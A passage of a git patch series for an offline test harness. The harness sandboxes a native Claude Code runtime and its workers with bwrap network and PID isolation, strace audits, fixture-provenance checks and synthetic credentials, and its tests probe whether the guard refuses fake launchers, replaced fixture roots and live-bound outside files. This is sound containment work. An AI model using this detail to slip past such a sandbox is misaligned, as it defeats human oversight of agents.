normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); + workerArgv[bwrap] = bwrapExecutable; const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); assertNativeMountSockets(tools.mounts, route.origin); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); - else if (workerArgv[i] === "--ro-bind" && workerArgv[i + 2] === "/etc/alternatives") workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/resolv.conf", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy()); @@ -686,13 +853,18 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); + try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory); } + catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); workerArgv.push(...nativeSocketCommand(nativePayload, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET)); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); - const beforeLaunch = () => assertNativeMountSockets(nativeMounts, route.origin); + const beforeLaunch = () => { + try { assertWorkerFixtureBinds(nativeMounts, route, bridge.directory); assertNativeMountSockets(nativeMounts, route.origin); } + catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } + }; beforeLaunch(); - const expected = expectedNativeExec(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env }); + const expected = expectedNativeExec(command[0]!, command.slice(1), context); let audited: ReturnType; if (supervisor) { const payload = workerArgv.splice(workerArgv.indexOf("--", bwrap) + 1); diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 2b6c0371eb..ec53057537 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -107,7 +107,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath, home] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 09affb7d51..0cc157f559 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -173,7 +173,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); - nativeScriptedService(upstream.url.origin); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath, home, join(root, "claude")] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index abcb52d70c..9bfd3d8faf 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -85,7 +85,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [brainPath] }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index 46a6b3fcc0..7770e55411 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -92,7 +92,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, configDir] }); function start(): unknown { return { type: "message_start", message: { id: `msg_${crypto.randomUUID()}`, type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index 42470aa6ca..5597aa236d 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -115,7 +115,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: action ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((event: any) => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, config] }); const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "claude-worker-test" }), stream = createActivityStream(store); const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; const backend = createClaudeBackend({ brainPath, profiles: [profile], log: () => {} }); diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 5171004349..968d400604 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -417,10 +417,10 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(inference.url.origin); const url = `http://127.0.0.1:${inference.port}`; const configDir = join(root, "claude"), agentDir = join(root, "pi"); mkdirSync(configDir, { recursive: true }); mkdirSync(agentDir, { recursive: true }); + nativeScriptedService(inference.url.origin, { fixtureRoots: [brainPath, configDir] }); process.env.CLAUDE_CONFIG_DIR = configDir; process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC = "1"; process.env.PI_CODING_AGENT_DIR = agentDir; diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 50ec743065..8f1919e7c3 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -18,8 +18,9 @@ async function probe(script: string, home: string) { return { code, output }; } const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - import {nativeClaudeBoundary,nativeScriptedService as registerScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard();`; + import {nativeClaudeBoundary,nativeScriptedService as registerService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard(); + const registerScriptedService=(origin)=>registerService(origin,{fixtureRoots:[process.env.HOME]});`; test("a harmless fixture named claude runs without native admission", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-fixture-runtime-")); @@ -242,7 +243,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi const scratch = mkdtempSync(join(tmpdir(), "odysseus-identity-plan-")); try { const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; + import {writeFileSync,realpathSync} from "node:fs"; import {dirname} from "node:path"; import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-identity-program.ts"))}; @@ -258,7 +259,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; - if(outer[0]!=="/usr/bin/python3")throw Error("tracer wrapped the coordinator instead of the payload"); + if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); if(trace[0]!=="/synthetic/strace")throw Error("native broker payload was not traced"); const log=trace[trace.indexOf("-o")+1],directory=dirname(log); @@ -780,3 +781,120 @@ test("non-system missing and inaccessible entries remain failed receipts",async( }finally{rmSync(scratch,{recursive:true,force:true});} } }); + +test("worker admission classifies executable argv and refuses missing or disagreeing commands",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-executable-")); + try{ + symlinkSync(runtime!,join(scratch,"selected")); + for(const launch of [ + {argv:[runtime]}, + {command:[runtime]}, + {command:["/usr/bin/true"],argv:[runtime]}, + {command:["/usr/bin/true"],argv:["selected"],env:{PATH:scratch},brainPath:scratch}, + {command:["/usr/bin/true"],argv:["./selected"],env:{PATH:"/usr/bin:/bin"},brainPath:scratch}, + ]){ + const result=await probe(`${imports} import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify(launch))}});`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain('"nativeLaunched":false'); + expect(result.output).toMatch(/worker command and (?:argv are required|executable argv disagree)/); + } + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("worker outside-HOME regular files require explicit fixture snapshots",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-files-")),outside=mkdtempSync(join(tmpdir(),"odysseus-outside-file-")); + const sentinel=join(outside,"credential-like"),home=join(scratch,"home");mkdirSync(home);writeFileSync(sentinel,"odysseus-synthetic-sentinel"); + try{ + for(const admitted of [false,true]){ + const result=await probe(`${imports} + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(sentinel)},"/tmp/sentinel","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + try { const at=argv.indexOf("/tmp/sentinel"),source=argv[at-1]; + if(source===${JSON.stringify(sentinel)})throw Error("outside file stayed live-bound"); + writeFileSync(${JSON.stringify(sentinel)},"changed-original"); + if(readFileSync(source,"utf8")!=="odysseus-synthetic-sentinel")throw Error("fixture copy was not a snapshot");plan.beforeLaunch(); + }finally{writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}`,scratch); + if(admitted)expect(result.code,result.output).toBe(0); + else {expect(result.code).not.toBe(0);expect(result.output).toContain("worker bind was not created or staged by the fixture");expect(result.output).toContain('"nativeLaunched":false');} + } + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} +}); + +test("offline collector authority preserves only explicitly generated synthetic OAuth",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-offline-collector-")); + try{ + const result=await probe(`${imports} + import {nativeSyntheticCredential,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + registerScriptedService("http://127.0.0.1:1"); + const token=nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN"); + const leave=nativeScriptedService("http://127.0.0.1:2"); + try {for(const value of [token,"sk-ant-oat01-offline-odysseus-not-generated"]){ + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},CLAUDE_CODE_OAUTH_TOKEN:value,ANTHROPIC_BASE_URL:"http://127.0.0.1:2"}}); + const argv=plan.argv,at=argv.indexOf("CLAUDE_CODE_OAUTH_TOKEN"); + if((value===token)!==(at>=0&&argv[at+1]===value))throw Error("synthetic credential provenance lost"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); + }} finally{leave();} + const source=readFileSync(${JSON.stringify(join(ROOT,"scripts/measure-turn-surface-live.ts"))},"utf8"); + const hook=source.slice(source.indexOf("spawnClaudeCodeProcess: spec"),source.indexOf("turn = await startOverlappedTurn")); + if(!hook.includes("nativeScriptedService(offline.nativeBaseUrl")||hook.indexOf("nativeScriptedService(")>hook.indexOf("child = spawn("))throw Error("collector did not pin service before spawn"); + if(!source.includes('offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN")'))throw Error("collector did not generate its synthetic token");`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("a native argv cannot use an argument named bwrap as its isolation launcher",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-fake-launcher-")); + try{ + writeFileSync(join(scratch,"bwrap"),"#!/bin/sh\nexit 0\n",{mode:0o755}); + const command=[runtime!,join(scratch,"bwrap")]; + const result=await probe(`${imports}import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify({command,argv:command,brainPath:scratch}))}});`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain("native worker lacks the OS launcher");expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("worker filesystem-filter prefix is verified before native admission",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-filter-")); + try{ + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {WORKER_FILESYSTEM_FILTER_PROGRAM} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,"bwrap","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(!argv.includes(WORKER_FILESYSTEM_FILTER_PROGRAM)||!argv.includes("--unshare-net"))throw Error("trusted filter or OS boundary lost"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("guard-created fixture roots cannot authorize a replacement host tree",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-owned-root-")); + try{ + const result=await probe(`${imports} + import {nativeFixtureDirectory,nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,renameSync,mkdirSync,rmSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + const root=nativeFixtureDirectory("odysseus-created-input-"),file=root+"/input";writeFileSync(file,"created-fixture");nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[root]});let plan; + try {plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",file,"/tmp/input","--",${JSON.stringify(runtime)}]})}); + renameSync(root,root+"-original");mkdirSync(root);writeFileSync(file,"replacement-outside-data"); + let refused=false;try{plan.beforeLaunch();}catch(error){refused=String(error).includes("worker bind was not created or staged by the fixture");} + if(!refused)throw Error("replacement root was admitted");console.error("CREATED_ROOT_REPLACEMENT_REFUSED"); + }finally{plan?.dispose();rmSync(root,{recursive:true,force:true});rmSync(root+"-original",{recursive:true,force:true});}`,scratch); + expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("CREATED_ROOT_REPLACEMENT_REFUSED"); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); From 7fcccb8a32243b57b9c44282b64a6f4d36577328 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 04:49:29 +0000 Subject: [PATCH 045/187] test: classify executable targets without status-pipe argument data --- docs/process/testing.md | 3 +-- scripts/test-native-guard.ts | 32 +++++++++++++++++++++++---- scripts/test-network-guard.ts | 2 ++ tests/native-offline-boundary.test.ts | 29 ++++++++++++++++++++++++ 4 files changed, 60 insertions(+), 6 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index adfb99e284..baa257e38c 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1199,8 +1199,7 @@ and the one permitted scripted service; the child silently swallows denied connections, so the audit count comes from the boundary rather than child output. The baseline retention fixture keeps its tool wrapper and runtime-rg alias together in a read-only tool directory and its invocation witness in HOME. -PR #4312 changes that existing suite; its complete changed-head qualification -remains with #4274. Run installed-native backend and +Run installed-native backend and provider-history cells only in hosted CI; a temporary HOME and SDK options alone do not establish isolation. diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index f32d0b76f8..d1209ddbb3 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -111,16 +111,40 @@ function resolveExecutable(command: string, options: SpawnContext): string { return realpathSync(command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command)); } +// Only the program and a concrete JS interpreter target are executable +// candidates. Worker status descriptors and all other argv values are data. +function executableCandidates(command: string, args: readonly unknown[], options: SpawnContext): string[] { + const candidates = [command]; + let executable: string; + try { executable = resolveExecutable(command, options); } catch { return candidates; } + if (/^(?:node|nodejs|bun)$/.test(basename(executable))) { + let at = args[0] === "run" && basename(executable) === "bun" ? 1 : 0; + // These switches consume values, not the script target. Inline evaluation + // and shell programs have no explicit file target to classify here. + while (typeof args[at] === "string" && (args[at] as string).startsWith("-")) { + const flag = args[at++] as string; + if (["-e", "--eval", "-p", "--print", "-c", "--check"].includes(flag)) return candidates; + if (flag === "--") break; + if (["--preload", "--import", "--require", "-r", "--loader"].includes(flag)) at++; + } + const target = args[at]; + if (typeof target === "string" && !target.startsWith("-")) candidates.push(target); + } + return candidates; +} + export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); - for (const value of [command, ...args]) { + for (const value of executableCandidates(command, args, options)) { if (typeof value !== "string" || value.startsWith("-")) continue; let path: string; try { path = resolveExecutable(value, options); } catch { continue; } if (installedRuntimes.some(runtime => runtime.path === path)) return true; // Size eliminates ordinary fixture scripts and interpreters before hashing. try { - const size = statSync(path).size; + const metadata = statSync(path); + if (!metadata.isFile()) continue; + const size = metadata.size; const candidates = installedRuntimes.filter(runtime => runtime.size === size); if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; } catch { refuse("native executable metadata is unavailable"); } @@ -365,7 +389,7 @@ export function startNativeTestRelay(upstream: string | undefined) { } function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { - const native = [command, ...args].filter(value => isNativeClaude(value, [], options)); + const native = executableCandidates(command, args, options).filter(value => isNativeClaude(value, [], options)); return [...new Set((native.length ? native : [command]).flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; } @@ -815,7 +839,7 @@ export function nativeWorkerBoundary(env: Record): { try { agrees = tail.length === command.length && resolveExecutable(tail[0]!, context) === resolveExecutable(command[0]!, context) && tail.slice(1).every((value, index) => value === command[index + 1]); } catch { /* Unknown executable refuses. */ } if (!agrees) refuse("worker command and executable argv disagree"); - const actualNative = isNativeClaude(argv[0]!, argv.slice(1), context) || isNativeClaude(workerArgv[0]!, workerArgv.slice(1), context); + const actualNative = isNativeClaude(command[0]!, command.slice(1), context) || isNativeClaude(argv[0]!, [], context) || isNativeClaude(workerArgv[0]!, [], context); if (!actualNative) { if (supervisor) argv[5] = JSON.stringify(supervisor); launch.argv = argv; diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 821f51d45f..661b3c6188 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -173,6 +173,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. let boundary: ReturnType | undefined; + // Classification considers argv[0] and explicit interpreter targets only; + // status-pipe descriptors in the remaining arguments are data. if (isNativeClaude(executable, cmd.slice(1), options)) { if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1), options); boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 8f1919e7c3..664c5f3746 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -33,6 +33,35 @@ test("a harmless fixture named claude runs without native admission", async () = } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("native identity classifies explicit interpreter targets but not argument data", () => { + expect(isNativeClaude(process.execPath, [runtime!])).toBe(true); + expect(isNativeClaude(process.execPath, ["--preload", "fixture.ts", runtime!])).toBe(true); + expect(isNativeClaude("/usr/bin/true", [runtime!])).toBe(false); + expect(isNativeClaude(process.execPath, ["-e", runtime!])).toBe(false); +}); + +test("status-pipe worker launches treat descriptor arguments as data", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-status-pipe-")); + try { + const result = await probe(`${imports} + import {nativeWorkerBoundary,isNativeClaude} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + import {openSync,closeSync} from "node:fs"; + const fifo=process.env.HOME+"/status"; + if(Bun.spawnSync(["/usr/bin/mkfifo",fifo]).exitCode!==0)throw Error("fixture FIFO failed"); + const fd=openSync(fifo,"r+"); + if(isNativeClaude("/usr/bin/true",[\`/proc/\${process.pid}/fd/1\`]))throw Error("pipe data classified as native"); + const status=["/bin/sh","-c",'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"',"brain-worker-status", + \`/proc/\${process.pid}/fd/\${fd}\`,\`/proc/\${process.pid}/fd/\${fd}\`,"/usr/bin/true"]; + if(isNativeClaude(status[0],status.slice(1)))throw Error("status descriptors classified as native"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:status})}); + const child=Bun.spawn(status,{env:plan.env,stdout:"pipe",stderr:"pipe"}); + if(await child.exited!==0)throw Error(await new Response(child.stderr).text()); + plan.dispose();closeSync(fd);`, scratch); + expect(result.code, result.output).toBe(0); + expect(result.output).not.toContain("native executable metadata is unavailable"); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("worker exec payload refuses before its synthetic bootstrap starts", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-worker-refusal-")); try { From e535102094aa36c0a8c8be1e982880c16448edf9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 04:56:40 +0000 Subject: [PATCH 046/187] test: require native executable identity in audit expectations --- scripts/test-native-guard.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index d1209ddbb3..87195c4fa5 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -390,7 +390,7 @@ export function startNativeTestRelay(upstream: string | undefined) { function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { const native = executableCandidates(command, args, options).filter(value => isNativeClaude(value, [], options)); - return [...new Set((native.length ? native : [command]).flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; + return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; } /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ From 4020c20e031085e0607f59798f99dabb1dce6a1a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 05:21:52 +0000 Subject: [PATCH 047/187] test: retain native provenance scanning through wrappers and interpreter flags --- scripts/test-native-guard.ts | 32 +++++---------------- scripts/test-network-guard.ts | 4 +-- tests/native-offline-boundary.test.ts | 40 ++++++++++++++++++++++----- 3 files changed, 42 insertions(+), 34 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 87195c4fa5..a84ff80b95 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -108,34 +108,16 @@ interface SpawnContext { cwd?: string; env?: 